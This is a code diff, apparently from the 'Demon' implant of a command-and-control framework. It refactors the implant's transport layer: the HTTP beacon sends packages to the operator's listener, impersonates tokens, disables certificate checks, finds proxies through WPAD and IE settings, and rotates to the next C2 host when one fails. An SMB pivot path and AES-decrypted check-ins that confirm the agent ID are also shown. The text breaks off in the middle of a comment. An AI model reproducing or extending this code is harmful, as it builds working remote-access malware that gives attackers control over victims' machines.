#include <Common/Macros.h>
|
||||
#include <common/Macros.h>
|
||||
|
||||
#include <Core/Package.h>
|
||||
#include <Core/Transport.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Core/TransportHttp.h>
|
||||
#include <Core/TransportSmb.h>
|
||||
#include <core/Package.h>
|
||||
#include <core/Transport.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <core/TransportHttp.h>
|
||||
#include <core/TransportSmb.h>
|
||||
|
||||
#include <Crypt/AesCrypt.h>
|
||||
#include <crypt/AesCrypt.h>
|
||||
|
||||
BOOL TransportInit( )
|
||||
{
|
||||
@@ -19,19 +19,19 @@ BOOL TransportInit( )
|
||||
|
||||
/* Sends to our connection (direct/pivot) */
|
||||
#ifdef TRANSPORT_HTTP
|
||||
if ( PackageTransmitNow( Instance.MetaData, &Data, &Size ) )
|
||||
if ( PackageTransmitNow( Instance->MetaData, &Data, &Size ) )
|
||||
{
|
||||
AESCTX AesCtx = { 0 };
|
||||
|
||||
/* Decrypt what we got */
|
||||
AesInit( &AesCtx, Instance.Config.AES.Key, Instance.Config.AES.IV );
|
||||
AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV );
|
||||
AesXCryptBuffer( &AesCtx, Data, Size );
|
||||
|
||||
if ( Data )
|
||||
{
|
||||
if ( ( UINT32 ) Instance.Session.AgentID == ( UINT32 ) DEREF( Data ) )
|
||||
if ( ( UINT32 ) Instance->Session.AgentID == ( UINT32 ) DEREF( Data ) )
|
||||
{
|
||||
Instance.Session.Connected = TRUE;
|
||||
Instance->Session.Connected = TRUE;
|
||||
Success = TRUE;
|
||||
}
|
||||
}
|
||||
@@ -39,9 +39,9 @@ BOOL TransportInit( )
|
||||
#endif
|
||||
|
||||
#ifdef TRANSPORT_SMB
|
||||
if ( PackageTransmitNow( Instance.MetaData, NULL, NULL ) == TRUE )
|
||||
if ( PackageTransmitNow( Instance->MetaData, NULL, NULL ) == TRUE )
|
||||
{
|
||||
Instance.Session.Connected = TRUE;
|
||||
Instance->Session.Connected = TRUE;
|
||||
Success = TRUE;
|
||||
}
|
||||
#endif
|
||||
+193
-179
@@ -1,158 +1,173 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Core/TransportHttp.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <core/TransportHttp.h>
|
||||
#include <core/MiniStd.h>
|
||||
|
||||
#ifdef TRANSPORT_HTTP
|
||||
|
||||
BOOL HttpSend( PBUFFER Send, PBUFFER Response )
|
||||
{
|
||||
BOOL Success = FALSE;
|
||||
HANDLE hConnect = NULL;
|
||||
HANDLE hRequest = NULL;
|
||||
|
||||
LPWSTR HttpHeader = NULL;
|
||||
LPWSTR HttpEndpoint = NULL;
|
||||
DWORD HttpFlags = 0;
|
||||
LPCWSTR HttpProxy = NULL;
|
||||
PWSTR HttpScheme = NULL;
|
||||
/*!
|
||||
* @brief
|
||||
* send a http request
|
||||
*
|
||||
* @param Send
|
||||
* buffer to send
|
||||
*
|
||||
* @param Resp
|
||||
* buffer response
|
||||
*
|
||||
* @return
|
||||
* if successful send request
|
||||
*/
|
||||
BOOL HttpSend(
|
||||
_In_ PBUFFER Send,
|
||||
_Out_opt_ PBUFFER Resp
|
||||
) {
|
||||
HANDLE Connect = { 0 };
|
||||
HANDLE Request = { 0 };
|
||||
LPWSTR HttpHeader = { 0 };
|
||||
LPWSTR HttpEndpoint = { 0 };
|
||||
DWORD HttpFlags = { 0 };
|
||||
LPCWSTR HttpProxy = { 0 };
|
||||
PWSTR HttpScheme = { 0 };
|
||||
DWORD Counter = { 0 };
|
||||
DWORD Iterator = { 0 };
|
||||
DWORD BufRead = { 0 };
|
||||
UCHAR Buffer[ 1024 ] = { 0 };
|
||||
PVOID RespBuffer = { 0 };
|
||||
SIZE_T RespSize = { 0 };
|
||||
BOOL Successful = { 0 };
|
||||
|
||||
WINHTTP_PROXY_INFO ProxyInfo = { 0 };
|
||||
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ProxyConfig = { 0 };
|
||||
WINHTTP_AUTOPROXY_OPTIONS AutoProxyOptions = { 0 };
|
||||
|
||||
DWORD Counter = 0;
|
||||
DWORD Iterator = 0;
|
||||
DWORD BufRead = 0;
|
||||
UCHAR Buffer[ 1024 ] = { 0 };
|
||||
PVOID RespBuffer = NULL;
|
||||
SIZE_T RespSize = 0;
|
||||
BOOL Successful = TRUE;
|
||||
|
||||
/* we might impersonate a token that lets WinHttpOpen return an Error 5 (ERROR_ACCESS_DENIED) */
|
||||
TokenImpersonate( FALSE );
|
||||
|
||||
/* if we don't have any more hosts left, then exit */
|
||||
if ( ! Instance.Config.Transport.Host )
|
||||
{
|
||||
if ( ! Instance->Config.Transport.Host ) {
|
||||
PUTS_DONT_SEND( "No hosts left to use... exit now." )
|
||||
CommandExit( NULL );
|
||||
}
|
||||
|
||||
if ( ! Instance.hHttpSession )
|
||||
{
|
||||
if ( Instance.Config.Transport.Proxy.Enabled )
|
||||
{
|
||||
if ( ! Instance->hHttpSession ) {
|
||||
if ( Instance->Config.Transport.Proxy.Enabled ) {
|
||||
// Use preconfigured proxy
|
||||
HttpProxy = Instance.Config.Transport.Proxy.Url;
|
||||
HttpProxy = Instance->Config.Transport.Proxy.Url;
|
||||
|
||||
/* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NAMED_PROXY, %ls, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance.Config.Transport.UserAgent, HttpProxy ) */
|
||||
Instance.hHttpSession = Instance.Win32.WinHttpOpen( Instance.Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, HttpProxy, WINHTTP_NO_PROXY_BYPASS, 0 );
|
||||
}
|
||||
else
|
||||
{
|
||||
/* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NAMED_PROXY, %ls, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance->Config.Transport.UserAgent, HttpProxy ) */
|
||||
Instance->hHttpSession = Instance->Win32.WinHttpOpen( Instance->Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, HttpProxy, WINHTTP_NO_PROXY_BYPASS, 0 );
|
||||
} else {
|
||||
// Autodetect proxy settings
|
||||
/* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance.Config.Transport.UserAgent ) */
|
||||
Instance.hHttpSession = Instance.Win32.WinHttpOpen( Instance.Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 );
|
||||
/* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance->Config.Transport.UserAgent ) */
|
||||
Instance->hHttpSession = Instance->Win32.WinHttpOpen( Instance->Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 );
|
||||
}
|
||||
|
||||
if ( ! Instance.hHttpSession )
|
||||
{
|
||||
if ( ! Instance->hHttpSession ) {
|
||||
PRINTF_DONT_SEND( "WinHttpOpen: Failed => %d\n", NtGetLastError() )
|
||||
Successful = FALSE;
|
||||
goto LEAVE;
|
||||
}
|
||||
}
|
||||
|
||||
/* PRINTF_DONT_SEND( "WinHttpConnect( %x, %ls, %d, 0 )\n", Instance.hHttpSession, Instance.Config.Transport.Host->Host, Instance.Config.Transport.Host->Port ) */
|
||||
hConnect = Instance.Win32.WinHttpConnect( Instance.hHttpSession, Instance.Config.Transport.Host->Host, Instance.Config.Transport.Host->Port, 0 );
|
||||
if ( ! hConnect )
|
||||
{
|
||||
/* PRINTF_DONT_SEND( "WinHttpConnect( %x, %ls, %d, 0 )\n", Instance->hHttpSession, Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port ) */
|
||||
if ( ! ( Connect = Instance->Win32.WinHttpConnect(
|
||||
Instance->hHttpSession,
|
||||
Instance->Config.Transport.Host->Host,
|
||||
Instance->Config.Transport.Host->Port,
|
||||
0
|
||||
) ) ) {
|
||||
PRINTF_DONT_SEND( "WinHttpConnect: Failed => %d\n", NtGetLastError() )
|
||||
Successful = FALSE;
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
Counter = 0;
|
||||
while ( TRUE )
|
||||
{
|
||||
if ( ! Instance.Config.Transport.Uris[ Counter ] ) break;
|
||||
else Counter++;
|
||||
while ( TRUE ) {
|
||||
if ( ! Instance->Config.Transport.Uris[ Counter ] ) {
|
||||
break;
|
||||
} else {
|
||||
Counter++;
|
||||
}
|
||||
}
|
||||
|
||||
HttpEndpoint = Instance.Config.Transport.Uris[ RandomNumber32() % Counter ];
|
||||
HttpEndpoint = Instance->Config.Transport.Uris[ RandomNumber32() % Counter ];
|
||||
HttpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
||||
|
||||
if ( Instance.Config.Transport.Secure )
|
||||
if ( Instance->Config.Transport.Secure ) {
|
||||
HttpFlags |= WINHTTP_FLAG_SECURE;
|
||||
}
|
||||
|
||||
/* PRINTF_DONT_SEND( "WinHttpOpenRequest( %x, %ls, %ls, NULL, NULL, NULL, %x )\n", hConnect, Instance.Config.Transport.Method, HttpEndpoint, HttpFlags ) */
|
||||
hRequest = Instance.Win32.WinHttpOpenRequest( hConnect, Instance.Config.Transport.Method, HttpEndpoint, NULL, NULL, NULL, HttpFlags );
|
||||
if ( ! hRequest )
|
||||
{
|
||||
/* PRINTF_DONT_SEND( "WinHttpOpenRequest( %x, %ls, %ls, NULL, NULL, NULL, %x )\n", hConnect, Instance->Config.Transport.Method, HttpEndpoint, HttpFlags ) */
|
||||
if ( ! ( Request = Instance->Win32.WinHttpOpenRequest(
|
||||
Connect,
|
||||
Instance->Config.Transport.Method,
|
||||
HttpEndpoint,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
HttpFlags
|
||||
) ) ) {
|
||||
PRINTF_DONT_SEND( "WinHttpOpenRequest: Failed => %d\n", NtGetLastError() )
|
||||
Successful = FALSE;
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
if ( Instance.Config.Transport.Secure )
|
||||
{
|
||||
if ( Instance->Config.Transport.Secure ) {
|
||||
HttpFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
|
||||
if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &HttpFlags, sizeof( DWORD ) ) )
|
||||
if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_SECURITY_FLAGS, &HttpFlags, sizeof( DWORD ) ) )
|
||||
{
|
||||
PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() );
|
||||
}
|
||||
}
|
||||
|
||||
/* Add our headers */
|
||||
Iterator = 0;
|
||||
do
|
||||
{
|
||||
HttpHeader = Instance.Config.Transport.Headers[ Iterator ];
|
||||
do {
|
||||
HttpHeader = Instance->Config.Transport.Headers[ Iterator ];
|
||||
|
||||
if ( ! HttpHeader )
|
||||
break;
|
||||
|
||||
if ( ! Instance.Win32.WinHttpAddRequestHeaders( hRequest, HttpHeader, -1, WINHTTP_ADDREQ_FLAG_ADD ) ) {
|
||||
if ( ! Instance->Win32.WinHttpAddRequestHeaders( Request, HttpHeader, -1, WINHTTP_ADDREQ_FLAG_ADD ) ) {
|
||||
PRINTF_DONT_SEND( "Failed to add header: %ls", HttpHeader )
|
||||
}
|
||||
|
||||
Iterator++;
|
||||
} while ( TRUE );
|
||||
|
||||
if ( Instance.Config.Transport.Proxy.Enabled )
|
||||
{
|
||||
if ( Instance->Config.Transport.Proxy.Enabled ) {
|
||||
|
||||
// Use preconfigured proxy
|
||||
ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||
ProxyInfo.lpszProxy = Instance.Config.Transport.Proxy.Url;
|
||||
ProxyInfo.lpszProxy = Instance->Config.Transport.Proxy.Url;
|
||||
|
||||
if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_PROXY, &ProxyInfo, sizeof( WINHTTP_PROXY_INFO ) ) )
|
||||
{
|
||||
if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, &ProxyInfo, sizeof( WINHTTP_PROXY_INFO ) ) ) {
|
||||
PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() );
|
||||
}
|
||||
|
||||
if ( Instance.Config.Transport.Proxy.Username )
|
||||
{
|
||||
if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_PROXY_USERNAME, Instance.Config.Transport.Proxy.Username, StringLengthW( Instance.Config.Transport.Proxy.Username ) ) )
|
||||
{
|
||||
if ( Instance->Config.Transport.Proxy.Username ) {
|
||||
if ( ! Instance->Win32.WinHttpSetOption(
|
||||
Request,
|
||||
WINHTTP_OPTION_PROXY_USERNAME,
|
||||
Instance->Config.Transport.Proxy.Username,
|
||||
StringLengthW( Instance->Config.Transport.Proxy.Username )
|
||||
) ) {
|
||||
PRINTF_DONT_SEND( "Failed to set proxy username %u", NtGetLastError() );
|
||||
}
|
||||
}
|
||||
|
||||
if ( Instance.Config.Transport.Proxy.Password )
|
||||
{
|
||||
if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_PROXY_PASSWORD, Instance.Config.Transport.Proxy.Password, StringLengthW( Instance.Config.Transport.Proxy.Password ) ) )
|
||||
{
|
||||
if ( Instance->Config.Transport.Proxy.Password ) {
|
||||
if ( ! Instance->Win32.WinHttpSetOption(
|
||||
Request,
|
||||
WINHTTP_OPTION_PROXY_PASSWORD,
|
||||
Instance->Config.Transport.Proxy.Password,
|
||||
StringLengthW( Instance->Config.Transport.Proxy.Password )
|
||||
) ) {
|
||||
PRINTF_DONT_SEND( "Failed to set proxy password %u", NtGetLastError() );
|
||||
}
|
||||
}
|
||||
}
|
||||
else if ( ! Instance.LookedForProxy )
|
||||
{
|
||||
|
||||
} else if ( ! Instance->LookedForProxy ) {
|
||||
// Autodetect proxy settings using the Web Proxy Auto-Discovery (WPAD) protocol
|
||||
|
||||
/*
|
||||
@@ -169,23 +184,18 @@ BOOL HttpSend( PBUFFER Send, PBUFFER Response )
|
||||
AutoProxyOptions.dwReserved = 0;
|
||||
AutoProxyOptions.fAutoLogonIfChallenged = TRUE;
|
||||
|
||||
if ( Instance.Win32.WinHttpGetProxyForUrl( Instance.hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) )
|
||||
{
|
||||
if ( Instance->Win32.WinHttpGetProxyForUrl( Instance->hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) {
|
||||
if ( ProxyInfo.lpszProxy ) {
|
||||
PRINTF_DONT_SEND( "Using proxy %ls\n", ProxyInfo.lpszProxy );
|
||||
}
|
||||
|
||||
Instance.SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );
|
||||
Instance.ProxyForUrl = Instance.Win32.LocalAlloc( LPTR, Instance.SizeOfProxyForUrl );
|
||||
MemCopy( Instance.ProxyForUrl, &ProxyInfo, Instance.SizeOfProxyForUrl );
|
||||
}
|
||||
else
|
||||
{
|
||||
Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );
|
||||
Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl );
|
||||
MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl );
|
||||
} else {
|
||||
// WinHttpGetProxyForUrl failed, use WinHttpGetIEProxyConfigForCurrentUser as fall-back
|
||||
if ( Instance.Win32.WinHttpGetIEProxyConfigForCurrentUser( &ProxyConfig ) )
|
||||
{
|
||||
if ( ProxyConfig.lpszProxy != NULL && StringLengthW( ProxyConfig.lpszProxy ) != 0 )
|
||||
{
|
||||
if ( Instance->Win32.WinHttpGetIEProxyConfigForCurrentUser( &ProxyConfig ) ) {
|
||||
if ( ProxyConfig.lpszProxy != NULL && StringLengthW( ProxyConfig.lpszProxy ) != 0 ) {
|
||||
// IE is set to "use a proxy server"
|
||||
ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
|
||||
ProxyInfo.lpszProxy = ProxyConfig.lpszProxy;
|
||||
@@ -193,16 +203,14 @@ BOOL HttpSend( PBUFFER Send, PBUFFER Response )
|
||||
|
||||
PRINTF_DONT_SEND( "Using IE proxy %ls\n", ProxyInfo.lpszProxy );
|
||||
|
||||
Instance.SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );
|
||||
Instance.ProxyForUrl = Instance.Win32.LocalAlloc( LPTR, Instance.SizeOfProxyForUrl );
|
||||
MemCopy( Instance.ProxyForUrl, &ProxyInfo, Instance.SizeOfProxyForUrl );
|
||||
Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );
|
||||
Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl );
|
||||
MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl );
|
||||
|
||||
// don't cleanup these values
|
||||
ProxyConfig.lpszProxy = NULL;
|
||||
ProxyConfig.lpszProxyBypass = NULL;
|
||||
}
|
||||
else if ( ProxyConfig.lpszAutoConfigUrl != NULL && StringLengthW( ProxyConfig.lpszAutoConfigUrl ) != 0 )
|
||||
{
|
||||
} else if ( ProxyConfig.lpszAutoConfigUrl != NULL && StringLengthW( ProxyConfig.lpszAutoConfigUrl ) != 0 ) {
|
||||
// IE is set to "Use automatic proxy configuration"
|
||||
AutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL;
|
||||
AutoProxyOptions.lpszAutoConfigUrl = ProxyConfig.lpszAutoConfigUrl;
|
||||
@@ -210,153 +218,159 @@ BOOL HttpSend( PBUFFER Send, PBUFFER Response )
|
||||
|
||||
PRINTF_DONT_SEND( "Trying to discover the proxy config via the config url %ls\n", AutoProxyOptions.lpszAutoConfigUrl );
|
||||
|
||||
if ( Instance.Win32.WinHttpGetProxyForUrl( Instance.hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) )
|
||||
{
|
||||
if ( Instance->Win32.WinHttpGetProxyForUrl( Instance->hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) {
|
||||
if ( ProxyInfo.lpszProxy ) {
|
||||
PRINTF_DONT_SEND( "Using proxy %ls\n", ProxyInfo.lpszProxy );
|
||||
}
|
||||
|
||||
Instance.SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );
|
||||
Instance.ProxyForUrl = Instance.Win32.LocalAlloc( LPTR, Instance.SizeOfProxyForUrl );
|
||||
MemCopy( Instance.ProxyForUrl, &ProxyInfo, Instance.SizeOfProxyForUrl );
|
||||
Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );
|
||||
Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl );
|
||||
MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl );
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
// IE is set to "automatically detect settings"
|
||||
// ignore this as we already tried
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Instance.LookedForProxy = TRUE;
|
||||
Instance->LookedForProxy = TRUE;
|
||||
}
|
||||
|
||||
if ( Instance.ProxyForUrl )
|
||||
{
|
||||
if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_PROXY, Instance.ProxyForUrl, Instance.SizeOfProxyForUrl ) )
|
||||
{
|
||||
if ( Instance->ProxyForUrl ) {
|
||||
if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, Instance->ProxyForUrl, Instance->SizeOfProxyForUrl ) ) {
|
||||
PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() );
|
||||
}
|
||||
}
|
||||
|
||||
/* Send package to our listener */
|
||||
if ( Instance.Win32.WinHttpSendRequest( hRequest, NULL, 0, Send->Buffer, Send->Length, Send->Length, 0 ) )
|
||||
{
|
||||
if ( Instance.Win32.WinHttpReceiveResponse( hRequest, NULL ) )
|
||||
{
|
||||
if ( Instance->Win32.WinHttpSendRequest( Request, NULL, 0, Send->Buffer, Send->Length, Send->Length, 0 ) ) {
|
||||
if ( Instance->Win32.WinHttpReceiveResponse( Request, NULL ) ) {
|
||||
/* Is the server recognizing us ? are we good ? */
|
||||
if ( HttpQueryStatus( hRequest) != HTTP_STATUS_OK )
|
||||
{
|
||||
if ( HttpQueryStatus( Request ) != HTTP_STATUS_OK ) {
|
||||
PUTS_DONT_SEND( "HttpQueryStatus Failed: Is not HTTP_STATUS_OK (200)" )
|
||||
Successful = FALSE;
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
if ( Response )
|
||||
{
|
||||
if ( Resp ) {
|
||||
RespBuffer = NULL;
|
||||
do
|
||||
{
|
||||
Successful = Instance.Win32.WinHttpReadData( hRequest, Buffer, sizeof( Buffer ), &BufRead );
|
||||
if ( ! Successful || BufRead == 0 )
|
||||
{
|
||||
|
||||
//
|
||||
// read the entire response into the Resp BUFFER
|
||||
//
|
||||
do {
|
||||
Successful = Instance->Win32.WinHttpReadData( Request, Buffer, sizeof( Buffer ), &BufRead );
|
||||
if ( ! Successful || BufRead == 0 ) {
|
||||
break;
|
||||
}
|
||||
|
||||
if ( ! RespBuffer )
|
||||
RespBuffer = Instance.Win32.LocalAlloc( LPTR, BufRead );
|
||||
else
|
||||
RespBuffer = Instance.Win32.LocalReAlloc( RespBuffer, RespSize + BufRead, LMEM_MOVEABLE | LMEM_ZEROINIT );
|
||||
if ( ! RespBuffer ) {
|
||||
RespBuffer = Instance->Win32.LocalAlloc( LPTR, BufRead );
|
||||
} else {
|
||||
RespBuffer = Instance->Win32.LocalReAlloc( RespBuffer, RespSize + BufRead, LMEM_MOVEABLE | LMEM_ZEROINIT );
|
||||
}
|
||||
|
||||
RespSize += BufRead;
|
||||
|
||||
MemCopy( RespBuffer + ( RespSize - BufRead ), Buffer, BufRead );
|
||||
MemSet( Buffer, 0, sizeof( Buffer ) );
|
||||
|
||||
} while ( Successful == TRUE );
|
||||
|
||||
Response->Length = RespSize;
|
||||
Response->Buffer = RespBuffer;
|
||||
Resp->Length = RespSize;
|
||||
Resp->Buffer = RespBuffer;
|
||||
|
||||
Successful = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if ( NtGetLastError() == 12029 ) // ERROR_INTERNET_CANNOT_CONNECT
|
||||
Instance.Session.Connected = FALSE;
|
||||
} else {
|
||||
if ( NtGetLastError() == ERROR_INTERNET_CANNOT_CONNECT ) {
|
||||
Instance->Session.Connected = FALSE;
|
||||
}
|
||||
|
||||
PRINTF_DONT_SEND( "HTTP Error: %d\n", NtGetLastError() )
|
||||
Successful = FALSE;
|
||||
goto LEAVE;
|
||||
}
|
||||
|
||||
LEAVE:
|
||||
if ( hConnect )
|
||||
Instance.Win32.WinHttpCloseHandle( hConnect );
|
||||
LEAVE:
|
||||
if ( Connect ) {
|
||||
Instance->Win32.WinHttpCloseHandle( Connect );
|
||||
}
|
||||
|
||||
if ( hRequest )
|
||||
Instance.Win32.WinHttpCloseHandle( hRequest );
|
||||
if ( Request ) {
|
||||
Instance->Win32.WinHttpCloseHandle( Request );
|
||||
}
|
||||
|
||||
if ( ProxyConfig.lpszProxy )
|
||||
Instance.Win32.GlobalFree( ProxyConfig.lpszProxy );
|
||||
if ( ProxyConfig.lpszProxy ) {
|
||||
Instance->Win32.GlobalFree( ProxyConfig.lpszProxy );
|
||||
}
|
||||
|
||||
if ( ProxyConfig.lpszProxyBypass )
|
||||
Instance.Win32.GlobalFree( ProxyConfig.lpszProxyBypass );
|
||||
if ( ProxyConfig.lpszProxyBypass ) {
|
||||
Instance->Win32.GlobalFree( ProxyConfig.lpszProxyBypass );
|
||||
}
|
||||
|
||||
if ( ProxyConfig.lpszAutoConfigUrl )
|
||||
Instance.Win32.GlobalFree( ProxyConfig.lpszAutoConfigUrl );
|
||||
if ( ProxyConfig.lpszAutoConfigUrl ) {
|
||||
Instance->Win32.GlobalFree( ProxyConfig.lpszAutoConfigUrl );
|
||||
}
|
||||
|
||||
/* re-impersonate the token */
|
||||
TokenImpersonate( TRUE );
|
||||
|
||||
if ( ! Successful )
|
||||
{
|
||||
if ( ! Successful ) {
|
||||
/* if we hit our max then we use our next host */
|
||||
Instance.Config.Transport.Host = HostFailure( Instance.Config.Transport.Host );
|
||||
Instance->Config.Transport.Host = HostFailure( Instance->Config.Transport.Host );
|
||||
}
|
||||
|
||||
return Successful;
|
||||
}
|
||||
|
||||
/* Query status code from our server response */
|
||||
DWORD HttpQueryStatus( HANDLE hRequest )
|
||||
{
|
||||
/*!
|
||||
* @brief
|
||||
* Query the Http Status code from the request response.
|
||||
*
|
||||
* @param hRequest
|
||||
* request handle
|
||||
*
|
||||
* @return
|
||||
* Http status code
|
||||
*/
|
||||
DWORD HttpQueryStatus(
|
||||
_In_ HANDLE Request
|
||||
) {
|
||||
DWORD StatusCode = 0;
|
||||
DWORD StatusSize = sizeof( DWORD );
|
||||
|
||||
if ( Instance.Win32.WinHttpQueryHeaders(
|
||||
hRequest,
|
||||
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
|
||||
WINHTTP_HEADER_NAME_BY_INDEX,
|
||||
&StatusCode, &StatusSize, WINHTTP_NO_HEADER_INDEX
|
||||
)
|
||||
)
|
||||
{
|
||||
if ( Instance->Win32.WinHttpQueryHeaders(
|
||||
Request,
|
||||
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
|
||||
WINHTTP_HEADER_NAME_BY_INDEX,
|
||||
&StatusCode,
|
||||
&StatusSize,
|
||||
WINHTTP_NO_HEADER_INDEX
|
||||
) ) {
|
||||
return StatusCode;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
PHOST_DATA HostAdd( LPWSTR Host, SIZE_T Size, DWORD Port )
|
||||
PHOST_DATA HostAdd(
|
||||
_In_ LPWSTR Host, SIZE_T Size, DWORD Port )
|
||||
{
|
||||
PRINTF_DONT_SEND( "Host -> Host:[%ls] Size:[%ld] Port:[%ld]\n", Host, Size, Port );
|
||||
|
||||
PHOST_DATA HostData = NULL;
|
||||
|
||||
HostData = NtHeapAlloc( sizeof( HOST_DATA ) );
|
||||
HostData->Host = NtHeapAlloc( Size + sizeof( WCHAR ) );
|
||||
HostData = MmHeapAlloc( sizeof( HOST_DATA ) );
|
||||
HostData->Host = MmHeapAlloc( Size + sizeof( WCHAR ) );
|
||||
HostData->Port = Port;
|
||||
HostData->Dead = FALSE;
|
||||
HostData->Next = Instance.Config.Transport.Hosts;
|
||||
HostData->Next = Instance->Config.Transport.Hosts;
|
||||
|
||||
/* Copy host to our buffer */
|
||||
MemCopy( HostData->Host, Host, Size );
|
||||
|
||||
/* Add to hosts linked list */
|
||||
Instance.Config.Transport.Hosts = HostData;
|
||||
Instance->Config.Transport.Hosts = HostData;
|
||||
|
||||
return HostData;
|
||||
}
|
||||
@@ -366,14 +380,14 @@ PHOST_DATA HostFailure( PHOST_DATA Host )
|
||||
if ( ! Host )
|
||||
return NULL;
|
||||
|
||||
if ( Host->Failures == Instance.Config.Transport.HostMaxRetries )
|
||||
if ( Host->Failures == Instance->Config.Transport.HostMaxRetries )
|
||||
{
|
||||
/* we reached our max failed retries with our current host data
|
||||
* use next one */
|
||||
Host->Dead = TRUE;
|
||||
|
||||
/* Get our next host based on our rotation strategy. */
|
||||
return HostRotation( Instance.Config.Transport.HostRotation );
|
||||
return HostRotation( Instance->Config.Transport.HostRotation );
|
||||
}
|
||||
|
||||
/* Increase our failed counter */
|
||||
@@ -391,7 +405,7 @@ PHOST_DATA HostRandom()
|
||||
DWORD Index = RandomNumber32() % HostCount();
|
||||
DWORD Count = 0;
|
||||
|
||||
Host = Instance.Config.Transport.Hosts;
|
||||
Host = Instance->Config.Transport.Hosts;
|
||||
|
||||
for ( ;; )
|
||||
{
|
||||
@@ -424,13 +438,13 @@ PHOST_DATA HostRotation( SHORT Strategy )
|
||||
{
|
||||
PHOST_DATA Host = NULL;
|
||||
|
||||
if ( Instance.Config.Transport.NumHosts > 1 )
|
||||
if ( Instance->Config.Transport.NumHosts > 1 )
|
||||
{
|
||||
/*
|
||||
* Different CDNs can have different WPAD rules.
|
||||
* After rotating, look for the proxy again
|
||||
*/
|
||||
Instance.LookedForProxy = FALSE;
|
||||
Instance->LookedForProxy = FALSE;
|
||||
}
|
||||
|
||||
if ( Strategy == TRANSPORT_HTTP_ROTATION_ROUND_ROBIN )
|
||||
@@ -438,11 +452,11 @@ PHOST_DATA HostRotation( SHORT Strategy )
|
||||
DWORD Count = 0;
|
||||
|
||||
/* get linked list */
|
||||
Host = Instance.Config.Transport.Hosts;
|
||||
Host = Instance->Config.Transport.Hosts;
|
||||
|
||||
/* If our current host is empty
|
||||
